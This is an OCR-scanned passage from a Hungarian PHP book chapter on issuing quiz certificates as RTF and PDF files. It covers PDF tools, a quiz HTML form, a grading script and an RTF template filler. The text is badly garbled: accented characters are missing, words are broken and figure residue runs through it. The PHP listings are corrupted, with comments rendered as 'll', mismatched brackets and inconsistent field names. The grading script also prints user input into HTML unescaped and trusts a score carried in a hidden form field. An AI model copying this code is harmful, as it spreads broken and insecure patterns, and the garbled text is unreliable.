http://www.ghostscript.com/ oldalon olvashatunk, letlteni pedig a http://www. cs.wisc. edu/ ghost/ oldalrl tudjuk. Ami fejezetnk alkalma:z:sr illeti, a PostScript jl szerepel a:z: egysgesen kivl minsg kimenet terletn, azonban szin te a:z: sszes tbbi elvrsunknak kptelen megfelelni.

542

32.fezec

Portable Document Forrnat (PDF)


Szerencsre ltezik egy olyan formtum, ami a PostScript szinte sszes pozitvumval rendelkezik, s srnos tovbbi elnye is

knl. Az Adobe ltal kifejles:z:cerc Portable Document Formac (PDF), azaz hordozhat dokumentumformcum olyan doku
meneum-megosztsi mdszer, amely egyformn viselkedik a klnbz placformokon, s kivl minsg kimenetet eredm nyez kpernyn, papron egyarnt.

A:z: Adobe a kvetkezkppen mucatja be a PDF formtumot:"A PDF lnyegben az elektronikus dokumentummegoszts
nylt szabvnynak tekinthet. Az Adobe PDF univerzlis f:ijlformtum, amely a ltrehozshoz hasznlt alkalmazstl s platformtl fggetlenl megrzi a forrsdokumentum sszes betcpust, form:z;st, sznt s grafikai elemr. A PDF fjlok kismretek, s az ingyenes Adobe Acrobat Reader alkalmazssal mindenki pontosan abban a formban tekintheti meg, oszc hatja meg s nyomtathatja ki ket, ahogy az alkotjuk ellltorca:' A PDF nylt formtum, dokumentcija a hrcp://partners.adobe.com/asn/tech/pdf/specifications.jsp oldalon tallhat, de sok ms weboldalon, illetve egy hivatalos knyvben is elrhet. A PDF a fenti elvrsainkkal szembestve is igen jl szerepel: a PDF dokumentumok egyforma s kivl rninsg kimene tet eredmnyeznek; vektor- s pixelgrafikus kpeket egyarnt tartalmazhacnak; tmrtse hasznlva kismret fjlokat llt hacunk el; elektronikusan olcsn terjeszthetk, az sszes nagy opercis rendszeren hasznlhatk; s biztonsgi funkcikat is tartalmaznak. A PDF ellen szl az a tny, hogy a PDF dokumentumok ellltsra hasznlt szoftverek tbbsge fizets termk. A PDF fj lok megtekintshez olvasra van s:z:iiksg, de az Acrobac Reader ingyenesen letlthet Windowshoz, Unixhoz s Macintoshhoz is. Oldalunk ltogatinak tbbsge rninden bizonnyal mr jl ismeri a . pdf kiterjesztst, s igen valszn, hogy teleptere PDF olvasval is rendelkezik. A PDF fjlok kivlan alkalmasak tetszetsen form:z:orc, nyomtathat dokumentumok terjesztsre, klnsen abban az esetben, ha egyszer mdszerekkel nem mdosthat dokumentumokat kivnunk kldeni. A fejezetben kt klnbz mdszert is megvizsglunk a PDF formtum oklevl ellltsra.

A megolds alkotelemei

32

Alkalmazsunk mkdshez ellenriznnk kell felhasznlink tudst, s (amennyiben sikeresen cltrck ki a ceszcet) okte velet kell ellltanunk a vizsgaeredmnykrL A fejezet sorn hromflekppen ksztjk el ezt az oklevelet: elszr RTF s PDF sablon hasznlatval, majd programozssal fogunk j PDF dokumentumot ellltani. Nzzk meg most rszletesen az egyes alkotelemek kvetelmnyeit!

Vizsgztatrendszer
Olyan online rtkelrendszer elksztse, amely tbbfle krdstpust tesz lehetv, tartalmas visszajelzse ad a rossz vlaszok rl, s intelligens statisztikai, illetve jelentskszt funkcikkal br, nmagban is sszeterc feladat lenne. Ebben a fejezetben rdekldsnk kzppontj ban a perszonalizlt s interneten terjeszthet dokumentumok ellltsa ll, ezrt csak nagyon egyszer, kv:z; alap teszerendszert fogunk ltrehozni. A teszthez nincs szksg semmilyen klnleges szoftverre. HTML rlap segtsgvel teszi fel a krdseket, s PHP kddal dolgozza fel a vlaszokat. A PHP gyorstalpal cm

l. fejezertl kezdve szmtalan ilyen megoldssal tallkoztunk mr knyvnkben.

A dokumentumelllt szoftver
Nincs szksg kln szoftverre a webszervernkn RTF vagy PDF dokumentumok sablonokbl trtn ellltsra, viszonr a sablonok ltrehozshoz megfelel alkalmazst kell hasznlni. A PHP PDF-ltrehoz fggvnyeinek ignybe vtelhez PDF-tmogatsra van szksg PHP-teleptsnkben; ezzel a tmval a fejezet ksbbi rszben rszletesen foglalkozunk majd.

RTF sablon ltrehozsra szolgl program


A:z: RTF fjlokat brmilyen neknk tetsz szvegszerkesztvel elllthatjuk. Oklevelnk sablonjt, amely a knyv letlthet
mellklecnek 3 2_fe j e z e t mappjban tallhat, Microsoft Word alkalmazssal hoztuk ltre. Ha ercl eler szvegszer kesztvel dolgozunk, akkor is rdemes lehet az eredmnyt Wordben tesztelni, mert ltogatink tbbsge minden bizonnyal ezt a szoftvert hasznlja.

Perszonalizlt PDF dokumentumok ellltsa

543

PDF sablon litrehozsra szolgl program A PDF dokumentumokat kicsit bonyolultabb ellltani. A legegyszerbb ehhez az Adobe Acrobat alkalmazs megvsrlsa. A szoftver lehetv teszi, hogy kivl minsg PDF llomnyokat lltsunk el a klnfle alkalmazsokbL A projektnkhz szksges sablonf:ijlr Acrobat segtsgvel hoztuk ltre. A sablon alapjt jelent dokumentumot Microsoft Wordben szerkesztettk meg. Az Acrobat csomagban talljuk az Adobe Distiller eszkzt. A PDF fjl ellltshoz a Distilleren bell meg kellett vltozrarni nhny alaprtelmezett belltst. A fjlt ASCII formtumban kell trolni, a tmrtse pedig ki kell kapcsolni. Ha ezeket belltottuk, a PDF fjl ltrehozsa pont olyan egyszer, mint egy sima nyomtats. Az Acrobat termkrl a hrrp://www.adobe.com/products/acrobat/ oldalon tallunk bvebb tjkoztatst. A program meg vsrolhat online, illetve szoftverforgalmazssal foglalkoz kiskereskedktL Egy msik lehetsg PDF fjlok ltrehozsra a ps2pdf talakit program hasznlata, amely, mint azt a neve sugallja, PostScript fjlokat alakit t PDF fjlokk. Elnye, hogy ingyenes, m kpeket vagy nem szabvnyos bettpusokat tartalmaz dokumentumok esetn nem mindig a megfelel eredmnyt kapjuk. A ps2pdf konvertert a korbban emltett Ghostscript csomagban ralljuk. Ha ily mdon lltjuk el a PDF fjlt, nyilvnval, hogy elszr PostScript fjlt kell ltrehozni. A Unix-felhasznJk jellem zen az a2ps vagy a dv ips segdalkalmazst hasznljk erre a clra. PostScript f:ijlokat windowsos krnyezetben is ltrehozhatunk Adobe Disriller nlkl, azonban kicsit krlmnyesebben tehetjk csak meg. PostScript nyomtatdrivert kell telepteni; hasznlhatjuk pldul az Apple LaserWriter IIN T drivert. Ha nincsen gpnkre PostScript driver teleptve, a http://www.adobe.com/support/downloads/productJsp?product= 44&platform= Windows cmrl letlthetnk egyet az Adobe-tl. A PostScript fjl ltrehozshoz vlasszuk ki ezt a nyomtatt, s jelljk ki a Print to File (Nyomtats fjlba) jellngyze tet, amit ltalban a Print, vagyis Nyomtats prbeszdablakban tallunk! A windowsos alkalmazsok tbbsge ekkor egy . pr n Iciterjeszts fjlt llt el, amely PostScript fjl kell, hogy legyen. rdemes lehet a kiterjesztst . ps-re trni. Ezt kveten GSview-val vagy ms PostScript-megjelent alkalmazssal megre kinthetjk, a ps2pdf segdalkalmazssal pedig ltrehozharjuk a PDF llomnyunkat. J, ha tudjuk, hogy a klnbz nyomtardriverek eltr minsg PostScript fjlt eredmnyezhernek. Akr azt is tapasz talhatjuk, hogy egyes PostScript fjljaink hibazenetet vltanak ki, amikor a ps2pdf segdalkalmazson keresztl futtatjuk. Ha ezt tapasztaljuk, keressnk msik nyomtatdrivert l Ha csak nhny PDF fjlt kivnunk ltrehozni, akr az Adobe online szolgltatsa is megfelel lehet szmunkra. Havi 9,99 dollrrt klnfle formtum fjlokat tlthetnk fel, amelyeket aztn PDF fjlknt lehet letlteni. A szolgltats kivlan m kdtt oklevelnk esetben, m az ilyen jelleg projekteknl esetleg fontos belltsokat nem engedi mdostani. A ltrehozott PDF llomnyt binris fjlknt, tmrtve trolja el, ami ettl igen nehezen mdostharv vlik. A szolglratst a https://createpdf.adobe.com/ oldalon rjk el. Ha szerernnk kiprblni, ingyenesen megrehetjk. Ha tnl kevesebb PDF fjlt kell ellltanunk, a http://www.acrobat.com oldalon elrhet ingyenes szolgltatst is ignybe vehetjk. rdemes kiprblni a Ner Distillery oldaln (htrp://www.babinszki.com/distiller/) tallhat ingyenes webes felletet, amely ps2pdf hasznlatval vgzi el az talakitst. Vgl arra is lehetsgnk van, hogy az oklevelet XML-ben kdoljuk, majd az XML Style Sheet Transformarions (XSLT) segtsgvel PDF-re vagy brmilyen ms formtumra alakitsuk. Ehhez a mdszerhez az XSLT alapos ismeretre van szksg, gy ezzel rszletesebben most nem foglalkozunk. PDF-et programozssal elllt sza ver ft A PHP kpes tmogaeni PDF dokumentumok ltrehozst. A PHP PDFlib fggvnyei a PDFlib knyvrrat hasznljk, amely a http://www.pdflib.com/producrs/pdflibfamily/ oldalrl rhet el. A PDFiib fggvnyek alkalmazsprogramozsi fellett (API) nyjtja szmunkra a PDF dokumentumok ltrehozshoz. A PDFlib nem ingyenes, fizets licenc szksges a hasznlathoz. A PDF!ib Lire ugyan nylt forrskdknt ingyenesen elrhet, de csak bizonyos felttelekkel- pldul kizrlag nem kereskedelmi clra - hasznlhat. Lteznek ingyenes knyvtrak is, ilyen pldul az FPDF. Az FPDF azonban a fizets knyvtrakban elrhetnl kevesebb fi.mkcit knl. Radsul az FPDF- mivel PHP-ben, nem pedig PHP kiterjesztsknt C-ben rtk- valamivel lassabb is, mint a msik kett. Az FPDF a http:/ /www.fpdf.org/ oldalrl tlthet le. Fejezetnkben a PDF!ib knyvtrat hasznljuk, mert ez taln a leggyakrabban hasznlt PDF-ltrehoz kiterjeszts. A phpinfo () fggvny kimenetbl tudjuk megllaptani, hogy a PDFiib teleptve van-e mr rendszernkn. A pdf cm sor alatt lthatjuk, hogy a PDFlib tmogats be van-e kapcsolva, illetve a PDFlib melyik verzijval dolgozunk.

32

544

32. fejezet

Amennyiben TIFF vagy JPEG kpeket szeretnnk PDF dokumentumainkban hasznlni, a TIFF s a JPEG knyvtrat is teleptennk kell. Ezek a http://www.libtilf.org/, illerve az ftp://ftp.uu.net/graphics/jpeg/ cmrl tlthetk le. A PDFlib kiterjeszts alaprtelmezsben nincsen a PHP-vel teleprve; a fjlokat le kell tltennk a PECL (PHP Extension Community Library) oldalrl, majd sajt kezleg kell teleptennk a kiterjesztst. Nem windowsos rendszerek esetn a http://pecl.php.net/package/pdRib cmen tallhat fjlokat letlrve, majd azokat a pe cl paranccsal teleprve juthatunk hozz a kiterjesztshez. Olvassuk el a http://www.php.net/manual/en/install.ped.pear.php oldalon tallhat utastsokat! Windows alatt a http:/ /pecl4win.php.net/ext.php/php_pdRib.dll cmen tallhat fjlt letlrve szerezhetjk be az elford tott kiterjesztst, illerve azt is megtehetjk, hogy a lefordtott PECL kiterjesztsek teljes knyvtrc letltjk a PHP.net letl tsek oldalrl. Letlts utn helyezzk a php_pdRib.dll fjlt a PHP kiterjesztseket tartalmaz knyvtrunkba (ez ltalban a PHP teleptsi knyvern bell tallhat ext knyvtr), s adjuk hozz php.ini fjlunkhoz az albbi sort:
extension=php_pdf.dll!

A megolds ttekintse
A projektnkben kifejleszteni kivnt rendszernknek hrom lehetsges kimenere van. Ahogy azt a 32.1 brn is lthatjuk, feltesszk a vizsgakrdseket, rtkeljk a vlaszokat, majd a hrom kzl valamelyik mdszerrel ltrehozzuk az oklevelet: res sablonbl RTF dokumentumot ksztnk. res sablonbl PDF dokumentumot ksztnk.

PDFlib fggvnyekkel programozva lltjuk el a PDF dokumentumot.


RTffjl ltrehozsa az res sablonbl

32

Tesztkrdsek lekrdezse

Tesztkrdsekre

PDFfjl ltrehozsa az res sablonbl

adon vlaszok rtkelse

PDFfjl ltrehozsa PDFiib fggvnyekko

32.1 bra: A

vizsgztatrendszer a hrom klnfle oklevl valamelyikt llga el.

A projektet alkot fjlok sszefoglalst a 32.1 tblzatban talljuk.


32.1 tblzat: A oklevelet Nv
index.html ertekeles. php rtf.php pdf.php pclflib.php alairas.png

e/kszt alkalmazs fjijai


Tpus HTML oldal Alkalmazs Alkalmazs Alkalmazs Alkalmazs Image RTF PDF
Lers

A tesztkrdseket tartalmaz HTML rlap A felhasznlk vlaszait kirtkel kd Sablonbl RTF formtum oklevelet elllt kd Sablonbl PDF formtum oklevelet elllt kd PDFlib fggvnyekkel PDF formtum oklevelet elllt kd A PDF!ib fggvnyekkel ksztett oklevlen szerepeltetend alrs pixel grafikus kpe Az RTF formtum oklevl sablonja A PDF formtum oklevl sablonja

PHPOklevel.rtf PHPOklevel.pdf

Most pedig nzzk meg vgre magt az alkalmazst!

Perszanalizlt PDF dokumentumok ellltsa

545

A tesztkrdsek lekrdezse
Az index.html fjl egszen magtl rtetd. HTML rlapot tartalmaz, amellyel megkrdezzk a felhasznl nevt, illetve feljegyezzk a tesztkrdsekre adott vlaszait. Valdi vizsgaalkalmazs esetn letszerbb, hogy a krdseket adatbzisbl vesz szk. Mostani feladatunk az oklevl ellltsra sszpontost, ezrt a krdseket egyszeren berjuk a HTML kdba. A nev mez szveges adatot vr. Minden vlasznl hrom vlasztgombot ltunk, amely segtsgvel a felhasznl megje llheti az ltala helyesnek vlt vlaszt. Az rlap kpet hasznl klds gombknt. Az oldalnak a kdjt a 32.1 pldakdban lthatjuk.
32.1 pldakd: index.html-A tesztkrdseket tartalmaz HTML oldal
<html> <body> <hl><p align="center"> <img src="rosette.gif" alt=""> Oklevl <img src="rosette.gif" alt=""></p></hl> <p>Itt az alkalom, hogy n is megszerezze a vilgszerte elismert Kpzeletbeli PHP Minst Intzmny szles krben elfogadott PHP-oklevelt!</p> <p>Ehhez pusztn vlaszolnia kell az albbi krdsekre:</p> <form action="ertekeles.php" method="post">

<p>Neve <input type="text" name="name" /></p>

<p>Mire szolgl az echo PHP-beli utasts?</p> <ol> <li><input type="radio" name="kl" value="l" /> Karakterlncok kiratsra.</li> <li><input type="radio" name="kl" value="2" /> sszead kt szmot.</li> <li><input type="radio" name="kl" value="3" /> Ltrehozza a kdunk rst befejez varzstrpt.</li> </ol>

32
\,

<p>Mire szolgl a cos() <ol>

PHP fggvny?</p>

<li><input type="radio" name="k2" value="l" /> Radinokra szmolja a koszinusz rtket.</li> <li><input type="radio" name="k2" value="2" /> Radinokra szmolja a tangens rtket. Ez nem PHP fggvny, </ol> <p>Mire hasznlhat a mail() <ol> <li><input type="radio" name="k3" value="l" /> E-mail zenetet kld. <li><input type="radio" name="k3" value="2" /> Ellenrzi a bejv postafikot. <li><input type="radio" name="k3" value="3" /> Felhvja a postahivatalt. </ol> PHP fggvny?</p> </li> <li><input type="radio" name="k2" value="3" /> hanem egy grg sziget. </li>

546

32. fejezet

<p align="center"><input type="image" src="oklevelet-nekem.gif" border="O"></p> </form> </body> </html>

A 32.2 brn a bngsznkbe betlttt index. html oldalt lthatjuk.

l Oklevl
lll ........ loafrO.---VIfl'!6oM.....,_",. .... _ ....... J'KP.ol.:let.'OIIil!

lio:etde'i.,ect..PHP.beiiiMIIoo' 1 l 3 o......,.,......_. Oo.-...tra..a... 0 U.. ..... . k0doool<n.ill>cfr,..6

Mft.....o....OPHP

!O ........_.nibl. 10-+-:.&e-.....o..-;)PHP.......,. l l OE;.-- OEio>lo.."..'6

l. os.-PHP._.....,,.._..,.,_...,;p.

J. o...,..

32.2 bra: Az index.htmlkrdseket

teszfel afelhasznlnak.

32

A vlaszok rtkelse
Amikor a felhasznl az index.htmlfjlban elkldi a krdsekre adott vlaszait, rtkelni kell azokat, majd ki kell szmolni a vizsga eredmnyt. A 32.2 pldakdban lrhat ertekeles.php kd pontosan ezt teszi. 32.2 pldakd: ertekeles.php-A
<?php //rvid vltoznevek ltrehozsa $kl $k2
=

tesztet rtkel kd

$ POST['kl']; $_POST['k2');

$k3 = $ POST['k3'); $nev =$ POST['nev');

ll ellenrizzk,
if(($kl==") echo "<hl>

hogy minden adatot megkaptunk-e ($k2==") l l ($k3==") l l ($nev=="))

ll

<p align=\"center\"> <img src=\"rosette.gif\" alt=\"\" l> Sajnljuk: <img src=\"rosette.gif\" alt=\"\" /></p></hl> <p>Adja meg nevt, else s vlaszoljon az sszes krdsre!</p>";

ll pontszmok sszeadsa
$teszteredmeny = 0; if ($kl == l)

ll a kl-re adott helyes vlasz l pontot r


$teszteredmeny++;

Perszanalizlt PDF dokumentumok ellltsa

547

if($k2 == l)

ll a k2-re adott helyes vlasz l pontot r


$teszteredmeny++;

if($k3 == l)

ll a k3-ra adott helyes vlasz l pontot r


$teszteredmeny++;

ll pontszm tszmtsa szzalkra


$teszteredmeny = $teszteredmeny l 3 * 100;

if($teszteredmeny < 50)

ll a vizsgz megbukott
echo "<hl> <p align=\"center\"> <img src=\"rosette.gif\" alt=\"\" /> Sajnljuk: <img src=\"rosette.gif\" alt=\"\" /></p></hl> <p>A sikeres vizsghoz legalbb 50 szzalkot el kell rni.</p>"; else

ll hozzuk ltre a teszteredmnyt egy tizedesjegyre kerekt karakterlncot!


$teszteredmeny = number_format($teszteredmeny, echo "<hl align=\"center\"> <img src=\"rosette.gif\" alt=\"\" /> Gratullunk! <img src=\"rosette.gif\" alt=\"\" /></hl> <p>Szp volt, ".$nev.", ".$teszteredmeny."%-os eredmnnyel

l);

32
'---

sikerlt letennie a vizsgt! </p>";

ll az oklevelet ltrehoz kdokra mutat hivatkozsok megjelenitse


echo "<p>Krjk, kattintson ide, hogy Microsoft Word (RTF) formtumban letltse oklevelt!</p> <form action=\"rtf.php\" method=\"post\"> <div align=\"center\"> <input type=\"image\" src=\"oklevel.gif\" border=\"0\"> </div> <input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/> <input type=\"hidden\" name=\"name\" value=\"".$nev."\"/> </form>

<p>Krjk,

kattintson ide,

hogy Portable Document Forrnat (PDF)

formtumban

letltse oklevelt!</p> <form action=\"pdf.php\" method=\"post\"> <div align=\"center\"> <input type=\"image\" src=\"oklevel.gif\" border=\"0\"> </div> <input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/> <input type=\"hidden\" name=\"name\" value=\"".$nev."\"/> </form>

<p> Krjk,

kattintson ide,

hogy PDFLib fggvnyekkel ltrehozott Portable

Document Forrnat (PDF)

formtum fjlknt letltse oklevelt'</p>

548

32. fejezet

<form action=\"pdflib.php\" method=\"post\"> <div align=\"center\"> <input type=\"image\" src=\"oklevel.gif\" border=\"0\"> </div> <input type=\"hidden\" name=\"score\" value=\"".$teszteredmeny."\"/> <input type=\"hidden\" name=\"name\" value=\"".$nev."\"/> </form>";

?>

A kd zenetben kzli a felhasznlval, ha nem minden krdsre vlaszolt, vagy nem rte el a sikeres vizsghoz szksges eredmnyt. Ha a felhasznl megfelelen vlaszolt a krdsekre, elksztheti oklevelt. A sikeres vizsga esetn lthat kimenetet a 32.3 bra mutaga.

u: , rt_;;.. .rz=_;..----"-"' ... --..a-.s Gratullunk!

32

32.3 bra: Az ertekeles.php kd lehetsget ad a sikeres vizsgznak, hogy a Jelknlt hrom mdszer valamelyikvel elksztse oklevelt. A felhasznl itt hrom lehetsg kzl vlaszthat: RTF formtum vagy ktfle PDF formtum oklevelet kszthet mag nak. A kvetkezkben az ezeket a dokumentumokat elllt kdokat fogjuk megvizsglni.

RTF formtum oklevlltrehozsa


Semmi akadlya nincsen az RTF dokumentumok olyatn ltrehozsnak, hogy ASCII szveget runk fjlba vagy szveges vltozba, m ehhez egy teljesen j szintaktikt kellene elsajttanunk. Nzzk meg az albbi egyszer RTF dokumentumot:
{\rtfl {\fonttbl {\fO Arial;}{\fl Times New Roman;}} \f0\fs28 Fcm\par

\fl\fs20 Ez egy rtf dokumentum.\par

l A dokumentum olyan fonttblt hoz ltre, amely kt bettpusbl ll: az egyik bettpus az fO-knt hivatkozott Arial, a msik pedig az fl-knt hivatkozott Times New Roman. Ezt kveten az fO (Arial) bettpussal, 28-as mretben (azaz 14 pontos betvel) lerja a Fcm, majd 20-as mret (10 pontos) fl ( Times New Roman) bettpussal az Ez egy rtf
dokumentum. szveget.

Ugyan manulisan is ellltharunk egy ilyen dokumentumot, de a PHP nem rendelkezik a munknk igazn nehz rszeit, pldul a kpek beillesztst megknnyt fggvnyekkeL Szerencsre sok dokumentumban statikus a szerkezet, a stlus s a szveg nagy rsze, s csak egy-egy kis rszt kell a perszonalizlshoz cserlgetni. Ezrt az ilyen dokumentumok ellltsnak hatkonyabb m4ia a sablonok hasznlata. Szvegszerkeszt segtsgvel knnyedn ltrehozharunk olyan, viszonylag sszetett dokumentumot is, mint amilyet a 32.4 brn ltunk.

Perszanalizlt PDF dokumentumok ellltsa

549

1'1-'1-

32.4 bra: Szvegszerkesztvel egyszeren kszthetnk bonyolultabb, tetszets kinzet sablonokat. A sablon helykitltket (pldul <<NEV>>) tartalmaz, amelyek azokat a helyeket jellik, ahova a dinamikus tartalmat be kell illesztennk. Mindegy, hogy ezek a helykitltk hogyan nznek ki, pldnkban kt < s > karakter kz tesszk a besz rand adatra utal lerst. Fontos viszont, hogy olyan helykitltket vlasszunk, amelyek mg vletlenl sem fordulnak el a dokumentum tbbi rszben. Segt a sablon megtervezsben, ha a helykitltink nagyjbl ugyanolyan hosszsgak, mint az adatok, amelyekre cserljk majd ket. Ebben a dokumentumban a <<NEV>>, <<Nev>>, <<teszteredmeny>> s <<eeee/hh/nn>> helykitltt lthatjuk. Figyeljk meg, hogy a NV s a Nv is elfordul! Ennek oka, hogy a kis- s nagybetkre rzkeny mdszerrel fogjuk lecserlni ket. Most, hogy birtokunkban van a sablon, mr csak az azt perszanalizl kdra van szksgnk. Ezt az rtf.php nev kdot a 32.3 pldakd tartalmazza. 32.3 pldak d: rtf. php
<?php //rvid vltoznevek ltrehozsa $nev = $_POST['nev']; $teszteredrneny

- Az RTFformtum perszanalizlt oklevelet

elllt kd

32
=
$_POST['teszteredrneny']; hogy megkaptuk-e a szksges adatokat

ll ellenrizzk,
if(!$nev

l l

!$teszteredrneny)

echo "<hl>Hiba:</hl> <p>Az oldal meghvsa nem sikerlt.</p>"; else

{
hogy segtsnk a bngsznek

ll hozzuk ltre a fejlcet,


header('Content-type:

ll a megfelel alkalmazst kivlasztani!


application/msword'}; inline, filename=okl.rtf'}; header('Content-Disposition:

$datum = date('Y.m.d'};

ll nyissuk meg a sablonfjlt!


$fajlnev = 'PHPOklevel.rtf'; 'r'}; $fp = fopen ($fajlnev,

ll olvassuk be a sablont egy vltozba!


$kimenet = fread( $fp, filesize($fajlnev});

fclose ($fp};

550

32. fezet

ll cserljk ki a sablon helykitltit sajt adatainkkal! $kimenet $kimenet $kimenet $kimenet str replace('<<NEV>>', str_replace('<<Nev>>', strtoupper($nev), $nev, $kimenet); Steszteredmeny, $kimenet); $kimenet); $kimenet);

str_replace('<<teszteredmeny>>', str_replace('<<eeee lhhl nn>>',

$datum,

ll az ellltott dokumentum kldse a bngsznek echo $kimenet;

?>

A kd alapszint hibaellenrzst vgezve meggyzdik arrl, hogy az sszes felhasznli adatot megkapta-e, ezt kveten pedig az oklevl ltrehozsval folytatja munkjt. A kd vgeredmnye nem HTML, hanem RTF formram fjl lesz, gy tjkoztatnunk kell errl a felhasznl bngszjt. Erre azrt van szksg, hogy a bngsz a megfelel alkalmazssal prblja meg megnyitni a fjlt, vagy Save As ... (Ments msknt) tpus prbeszdablakot jelentsen meg, ha nem ismem fel az kiterjesztst. A kimenetknt ltrehozand fjl MIME-tpust a PHP HTTP fejlcet kldjk el a bngsznek:
header('Content-type: applicationl msword'); inline, filename=okl.rtf'); header('Content-Disposition: header
.

rtf

() fggvnyvel hatrozhatjuk meg, hogy a megfelel

Az els fejlc kzli a bngszvel, hogy Microsoft Word fjlt kldnk (ami szigoran vve nem igaz, de ez az RTF fjlok

megnyitsra leggyakrabban hasznlt alkalmazs). A msodik fejlc azt mondja a bngsznek, hogy automatikusan jelentse meg a fjl tartalmr, amelynek ajnlott fjlneve okl. rtf. Ez az alaprtelmezett fjlnv, amellyel a felhasznl akkor tallkozik, amikor megprblja bngszjbl elmenteni a fjlt. A fejlcek elkldse utn megnyitjuk s beolvassuk a sablon RTF fjlt a
$kimenet

vltozba, majd az st r_replace ()

fggvnnyel lecserljk a helykitltket a fjlban tnylegesen szerepeltetni kvnt adatokra. A

32

$kimenet = str_replace('<<Nev>>',

$nev,

$kimenet);

sor pldul a

Nev>>

helykitlt elfordulsait cserli le a $nev vltoz tartalmra..

Az adatok lecserlse utn mr csak meg kell jelenteni bngsznkben a kimenetet. A 32.5 brn az rtf. php kd futtat snak mintakimenett lthatjuk. Ez a mdszer kivlan mkdik. A
st r_ replace()

fggvny meghvsai nagyon gyorsan lefutnak, annak ellenre, hogy

a sablon s ezltal a $kimenet vltoz tartalma is viszonylag hossz. Alkalmazsunk szempontjbl a legnagyobb problmt az jelenti, hogy a felhasznl az oklevelet - nyomtats cljbl- betlti szvegszerkeszt programjba, ahol egyszeren lehe tsge nylik mdostani azt. Az RTF formrum nem teszi lehetv csak olvashat dokumenrumok ltrehozst.

32.5 bra: Az rtf. php

kd az RTF sablonhl lllja el az oklevelet.

PDF formtum oklevlltrehozsa sablonbl


Hasonl folyamattal lltharunk el sablonbl PDF formram oklevelet. A legfbb klnbsg, hogy a PDF fjl ltrehozsakor helykitltink- az ltalunk hasznlt Acrobat verzijtl fggen - formzsi kdokkal keveredhetnek. Ha pldul szveg-

Perszanalizlt PDF dokumentumok ellltsa

551

szerkeszt segtsgvel belenznk az ltalunk ltrehozott oklevlsablonba,azt fogjuk ltni, hogy a helykicltk a kvetkez kppen nznek ki:
<<N)-13(AME)-10(>)-6(> <<Na)-9(m)O(e)-18(>> <)-ll(<)l(sc)-17(or)-6(e)-6(>)-ll(> <)-ll(<)l(m)-12(m)0(/d)-6(d)-19(/)l(yy)-13(yy)-13(>>

Ha vgignznk az llomnyon, lthatjuk,hogy az RTF formcummal ellenttben ezt az emberi szem sokkal kevsb kpes elolvasni.

Megjegyzs: A PDF sablonfjl formtuma az ltalunk hasznlt Acrobat vagy egyb PDF-ltrehoz eszkz verzijtl fgg.
A pldhoz megrt kd egyltaln nem biztos, hogy ltalunk ltrehozott sablonok esetn is mkdni fog. Ellenrizzk sablonunkat, s szksg esetn mdostsuk a kdot! Ha a problma tovbbra is fennll, alkalmazzuk a fejezet kvetkez rszben bemutatott, a PDF/ib fggvnyeket hasznl kdot! Annak rdekben, hogy a gyakorlatot vgig tudjuk csinlni, az angol nyelv PDF sablont nem mdostottuk. !gy ha megnyitjuk a fjlt egy szvegszerkesztben, a helykitltk pontosan a fent lthat m don fognak kinzni.

Tbbfle megolds ltezik erre a problmra. Az egyik lehetsg,hogy vgiglpkednk a helykitlckn,s kitrljk a for mzsi kdokat. Ez alig vltoztatja meg a dokumentum kinzett,mert az elz sablonban begyazott kdok gyis jelzik,hogy mennyi helyet kell hagyni a lecserlend helykicltk beti kztt. Ennl a megkzeltsnl azonban vgig kell menni a teljes PDF f:ijlon,s sajt kezilleg kell szerkeszteni, radsul ezt minden egyes alkalommal meg kell tennnk, ha megvltoztattuk vagy frissttettk a fjlt. Ez nem jelent tl nagy munkt abban az esetben, ha csak ngy helykitltvel llunk szemben, de rm lomm vlhat,ha tbb dokumentum szmos helykitltjvel kell foglalkozni, s gy dntnk,hogy az sszes dokumeneum ban megvltoztatjuk - mondjuk- a fejlcet. Egy msik mdszerrel elkerlhet az ilyen problma. Adobe Acrobat segitsgvel ltrehozunk egy PDF rlapot, amely a ko rbban hasznlt HTML rlapokhoz hasonlan res, elnevezett mezket tartalmaz. Ezt kveten PHP kddal elkszthetjk az FDF (Forms Data Format) fjlt, ami lnyegben egy sablonba berand adathalmaz. FDF f:ijlokat a PHP FDF fggvny knyvcrval hozhacunk ltre: egsz pontosan az fdf_create () fggvnnyel lltjuk el a fjlt, az fdf_set_value () fggvnnyel meghatrozzuk a mezk rtkeit,majd az fdf_set_file () fggvnnyel belltjuk a megfelel sablonfjlt. Vgl a megfelel MIME-tpussal- ez jelen esetben vnd. fdf- tadjuk a fjlt a bngsznek,s annak Acrobat Reader bvtmnye kicserli az rlapban az adatokat. Mindez nagyon jl hangzik, azonban kt szpsghibja is van a dolognak. Elszr is azt felttelezi,hogy rendelkeznk az Acrobat Professional programmal (a teljes verzival, nem az ingyenes olvasval, st nem is a Standard verzival). Msodsorban a soron belli szvegeket esetenknt jval krlmnyesebb kicserlni,mint az rlapmezket. Egyes helyzetekben ez problmt okozhat,de ez mindig az adott dokumentumtl fgg. A PDF dokumentumok ltrehozsnak feladara igen gyakran levelek ellltsakor jelentkezik, s a levelekben sok olyan szveg lehet,amit soron bell kell cserlni. Ilyen clra az FDF fjlok nem igazn hasznlhatk. Ha viszont pldul adnyomtatvnyt szecetnnk online kitlteni, akkor a fenti problmk egyltaln nem jelentkeznek. Az FDF formtumrl az Adobe weboldaln,a http:/ /www.adobe.com/ devnet/ acrobat/fdftoolkit.html cmen olvasharunk bvebben. Ha gy dntnk, hogy ezt a megkzeltst vlasztj uk,rdemes lehet elolvasni a PHP online kziknyvben az FDF doku mentcijt: http:/ /www.php.net/ manual/ en/ ref.fdf.php. Most pedig sszpontostsunk a problma fent emltett,els megoldsi mdjra! Ha szrevesszk,hogy a helykitltkhz adott formzsi kdok csak ktjelbl, szmjegyekbl s zrjelekbl llnak,vagyis regulris kifejezsekhez illeszthetk, akkor meg tudjuk oldani a PDF fjlban lv helykicltk keresst s cserjt. rtunk egy fggvnyt ( pdf_csere ()),amely automa tikusan ellltja az adott helykitlthz illeszked regulris kifejezst, majd a megfelel szvegre cserli a helykicltt. Ne feledjk, hogy az Acrobat egyes verziban a helykicltk egyszer szvegek is lehetnek, amiket a korbban ltottak sze rint az st r_ replace () fggvnnyel is kicserlhetnk! Ezt a kiegsztst leszmtva a PDF sablonbl oklevelet elllt kd igen hasonl az RTF formcum esetn lcotthoz. A k dot a 32.4 pldakd tartalmazza.
32.4 pldakd: pdf. php-A perszanalizlt PDF oklevelet sablon alapjn elllt kd
<?php set_time_limit(180); // a kd lass lehet

32

'-

552

32. fejezer

